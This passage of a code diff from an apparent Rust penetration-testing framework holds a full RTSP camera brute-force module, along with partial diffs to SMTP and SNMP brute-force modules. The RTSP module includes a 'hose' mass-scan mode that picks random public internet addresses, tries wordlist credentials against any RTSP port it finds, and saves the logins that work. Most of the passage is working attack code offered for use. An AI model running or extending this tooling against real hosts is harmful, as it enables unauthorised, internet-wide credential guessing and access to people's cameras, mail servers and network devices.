// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
let realm = extract_header_value(&response, "realm=\"", "\"");
let nonce = extract_header_value(&response, "nonce=\"", "\"");
if let (Some(r), Some(n)) = (realm, nonce) {
return Ok(AuthMethod::Digest { realm: r, nonce: n });
}
} else if response.contains("Basic") {
return Ok(AuthMethod::Basic);
}
}
Ok(AuthMethod::Unknown)
}
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
if let Some(start) = response.find(start_marker) {
let remainder = &response[start + start_marker.len()..];
if let Some(end) = remainder.find(end_marker) {
return Some(remainder[..end].to_string());
}
}
None
}
async fn try_rtsp_login_smart(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
auth_method: &AuthMethod,
) -> Result<bool> {
let method_to_use = if let AuthMethod::Unknown = auth_method {
match probe_auth_method(addrs, addr_display, path).await {
Ok(m) => m,
Err(_) => AuthMethod::Basic,
}
} else {
auth_method.clone()
};
let (mut stream, sa) = connect_to_any(addrs).await?;
let rtsp_verb = "DESCRIBE";
let path_str = if path.is_empty() { "/" } else { path };
let path_clean = path_str.trim_start_matches('/');
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
let auth_header = match method_to_use {
AuthMethod::None => return Ok(true),
AuthMethod::Basic => {
let credentials = Base64.encode(format!("{}:{}", user, pass));
format!("Authorization: Basic {}", credentials)
},
AuthMethod::Digest { ref realm, ref nonce } => {
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
format!(
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
user, realm, nonce, uri, response
)
},
AuthMethod::Unknown => return Ok(false),
};
let request = format!(
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
method = rtsp_verb,
uri = uri,
auth = auth_header
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
Ok(true)
} else {
Ok(false)
}
}
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
let without_scheme = match trimmed.strip_prefix("rtsp://") {
Some(s) => s,
None => trimmed,
};
if let Some((_, path)) = without_scheme.split_once('/') {
let clean_path = match path.split(|c| c == '?' || c == '#').next() {
Some(p) => p,
None => "",
}
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
@@ -1,748 +0,0 @@
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, timeout},
process::Command,
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_hose_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc) - Copied from telnet_hose
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
println!("{}", "║ Modes: Single Target & Mass Scan (Hose) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
// If target is "random", "0.0.0.0", "0.0.0.0/0", or looks like a file path (and we can assume it's a file list)
// Note: The caller usually handles file loading for specific modules, but for "hose" modules like telnet_hose, passing the file path is common.
// We'll treat it as mass scan if it's explicitly "random" OR "0.0.0.0" OR if it points to an existing file.
// Simple heuristic: if we can open it as a file, treat as file list for mass scan.
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
return run_mass_scan(target).await;
}
// --- Standard Single-Target Logic ---
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
let headers_path = prompt_wordlist("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
target.strip_prefix("rtsp://")
.expect("Target starts with rtsp://")
.split('/')
.next()
.unwrap_or(target)
} else {
target.split('/').next().unwrap_or(target)
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_wordlist("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found (with these paths).".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Run mass scan logic (Hose style)
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep wordlists
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
let paths_file = prompt_wordlist("RTSP paths file (empty for none/root)")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
// Deduplication check
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
// Try parse IP, or resolve? For mass scan usually IP lists. We'll try resolve if parsing fails.
// But to keep it simple and aligned with "hose" logic which normally takes IPs:
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
// Try resolve
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
// Wait for finish
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// 2. Bruteforce
let (users, passes, paths) = &*creds;
// Helper to cleanup repetitive calls
// We iterate: Path -> User -> Pass ? Or User -> Pass -> Path?
// RTSP paths are important. Often root works.
for path in paths {
for user in users {
for pass in passes {
// We use the existing try_rtsp_login.
// It does re-connect, which is not optimal but robust.
let addrs = [sa];
let empty_headers: Vec<String> = Vec::new();
// For mass scan, we assume standard DESCRIBE or OPTIONS is fine.
// try_rtsp_login defaults to OPTIONS if None, let's use DESCRIBE if we want to check stream?
// Actually existing tool defaults to OPTIONS unless advanced is on. OPTIONS is auth-less often?
// No, OPTIONS usually requires auth if server is secure.
let res = try_rtsp_login(
&addrs,
&sa.to_string(),
user,
pass,
path,
Some("DESCRIBE"), // Use DESCRIBE to be sure we can access stream info
&empty_headers
).await;
match res {
Ok(true) => {
// Success!
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
// Save
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop scanning this host on found
}
Ok(false) => {
// Auth failure
}
Err(e) => {
// Connection error or protocol error
if verbose {
// Only print verbose errors if really needed, prevents spam
}
// If connection failed (rst/timeout), often no point trying other creds?
// But existing function returns Err on IO error.
// We should probably stop trying this host if we get Refused/Timeout inside loop?
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
return; // Host dead or blocking us
}
}
}
// Small sleep to be polite?
// sleep(Duration::from_millis(50)).await;
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
// Ensure state file exists before running grep
if !std::path::Path::new(STATE_FILE).exists() {
// Create empty state file to avoid grep errors
if let Ok(mut file) = OpenOptions::new()
.create(true)
.write(true)
.open(STATE_FILE)
.await
{
let _ = file.flush().await;
}
return false; // File was just created, IP definitely not checked
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.status()
.await;
match status {
Ok(s) => s.success(),
Err(_) => false,
}
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Ok(Err(e)) => {
last_err = Some(e);
continue;
}
Err(_) => {
last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout"));
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Add Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
// Some cameras might return 404 if path is wrong but still authorized?
// Or 400 Bad Request?
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
// If we get 404, the creds might be valid but path invalid.
// But without positive valid signal, we assume fail.
Err(anyhow!("{}: unexpected RTSP response: {}", addr_display, response.lines().next().unwrap_or("")))
}
}
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
/// Returns None if no path is present or if path is just "/"
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
// Remove rtsp:// scheme if present
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
// Split on first '/' to separate host:port from path
if let Some((_, path)) = without_scheme.split_once('/') {
// Remove query strings and fragments
let clean_path = path.split(|c| c == '?' || c == '#')
.next()
.unwrap_or_default()
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
// Ensure path starts with '/'
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
+101 -20
View File
@@ -16,7 +16,7 @@ use tokio::fs::OpenOptions;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, prompt_wordlist,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
@@ -67,17 +67,57 @@ pub async fn run(target: &str) -> Result<()> {
// --- Standard Single Target Logic ---
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file")?;
let password_wordlist = prompt_existing_file("Password wordlist file")?;
// Check for API-provided config
let config_api = crate::config::get_module_config();
let api_mode = config_api.is_api_mode();
let threads = prompt_int_range("Threads", 8, 1, 256)? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64;
let port = if let Some(p) = config_api.port {
p
} else if api_mode {
25
} else {
prompt_int_range("Port", 25, 1, 65535)? as u16
};
let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?;
let full_combo = prompt_yes_no("Try every username with every password?", false)?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output file for results", "smtp_results.txt")?;
let username_wordlist = if let Some(ref f) = config_api.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Username wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Username wordlist required for API mode"));
} else {
prompt_existing_file("Username wordlist file")?
};
let password_wordlist = if let Some(ref f) = config_api.password_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Password wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Password wordlist required for API mode"));
} else {
prompt_existing_file("Password wordlist file")?
};
let threads = config_api.concurrency.unwrap_or_else(|| {
if api_mode { 8 } else { prompt_int_range("Threads", 8, 1, 256).unwrap_or(8) as usize }
});
let delay_ms = if api_mode { 50 } else { prompt_int_range("Delay (ms)", 50, 0, 10000).unwrap_or(50) as u64 };
let stop_on_success = config_api.stop_on_success.unwrap_or_else(|| {
if api_mode { true } else { prompt_yes_no("Stop on first valid login?", true).unwrap_or(true) }
});
let full_combo = config_api.combo_mode.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Try every username with every password?", false).unwrap_or(false) }
});
let verbose = config_api.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config_api.output_file.clone().unwrap_or_else(|| {
if api_mode { "smtp_results.txt".to_string() } else { prompt_default("Output file for results", "smtp_results.txt").unwrap_or_else(|_| "smtp_results.txt".to_string()) }
});
let config = SmtpBruteforceConfig {
target: target.to_string(),
@@ -92,15 +132,35 @@ pub async fn run(target: &str) -> Result<()> {
delay_ms,
};
println!();
if !api_mode {
println!();
}
run_smtp_bruteforce(config).await
}
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let port = prompt_int_range("Port", 25, 1, 65535)? as u16;
let usernames_file = prompt_wordlist("Username wordlist")?;
let passwords_file = prompt_wordlist("Password wordlist")?;
// Get API config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
// Prep - use API config or prompt
let port = config.port.unwrap_or_else(|| {
if api_mode { 25 } else { prompt_int_range("Port", 25, 1, 65535).unwrap_or(25) as u16 }
});
let usernames_file = config.username_wordlist.clone().ok_or_else(|| {
anyhow!("username_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("username_wordlist required for API mode")) }
else { prompt_existing_file("Username wordlist") }
})?;
let passwords_file = config.password_wordlist.clone().ok_or_else(|| {
anyhow!("password_wordlist required")
}).or_else(|_| {
if api_mode { Err(anyhow!("password_wordlist required for API mode")) }
else { prompt_existing_file("Password wordlist") }
})?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
@@ -108,12 +168,27 @@ async fn run_mass_scan(target: &str) -> Result<()> {
if users.is_empty() { return Err(anyhow!("User list empty")); }
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "smtp_mass_results.txt")?;
let concurrency = config.concurrency.unwrap_or_else(|| {
if api_mode { 500 } else { prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).unwrap_or(500) as usize }
});
let verbose = config.verbose.unwrap_or_else(|| {
if api_mode { false } else { prompt_yes_no("Verbose mode?", false).unwrap_or(false) }
});
let output_file = config.output_file.clone().unwrap_or_else(|| {
if api_mode { "smtp_mass_results.txt".to_string() }
else { prompt_default("Output result file", "smtp_mass_results.txt").unwrap_or_else(|_| "smtp_mass_results.txt".to_string()) }
});
// In API mode, always exclude private ranges
let use_exclusions = if api_mode { true } else { prompt_yes_no("Exclude reserved/private ranges?", true).unwrap_or(true) };
// Parse exclusions
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
let exclusions = if use_exclusions {
println!("{}", format!("[+] Loaded {} exclusion ranges", EXCLUDED_RANGES.len()).cyan());
Arc::new(parse_exclusions(EXCLUDED_RANGES))
} else {
Arc::new(Vec::new())
};
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
@@ -159,7 +234,13 @@ async fn run_mass_scan(target: &str) -> Result<()> {
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let content = match tokio::fs::read_to_string(target).await {
Ok(c) => c,
Err(e) => {
println!("{}", format!("[!] Failed to read target file: {}", e).red());
return Ok(());
}
};
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
+96 -27
View File
@@ -60,30 +60,63 @@ pub async fn run(target: &str) -> Result<()> {
// --- Standard Single-Target Logic ---
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16;
let communities_file = prompt_existing_file("Community string wordlist file path")?;
// Check for API-provided config
let config = crate::config::get_module_config();
let api_mode = config.is_api_mode();
let port = if let Some(p) = config.port {
p
} else if api_mode {
default_port
} else {
prompt_int_range("SNMP Port", default_port as i64, 1, 65535)? as u16
};
// For SNMP, username_wordlist contains community strings
let communities_file = if let Some(ref f) = config.username_wordlist {
if !std::path::Path::new(f).exists() {
return Err(anyhow!("Community wordlist not found: {}", f));
}
f.clone()
} else if api_mode {
return Err(anyhow!("Community wordlist required for API mode"));
} else {
prompt_existing_file("Community string wordlist file path")?
};
// Custom prompt for version since it's specific
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
let snmp_version = if api_mode { 1 } else { // Default to v2c in API mode
loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
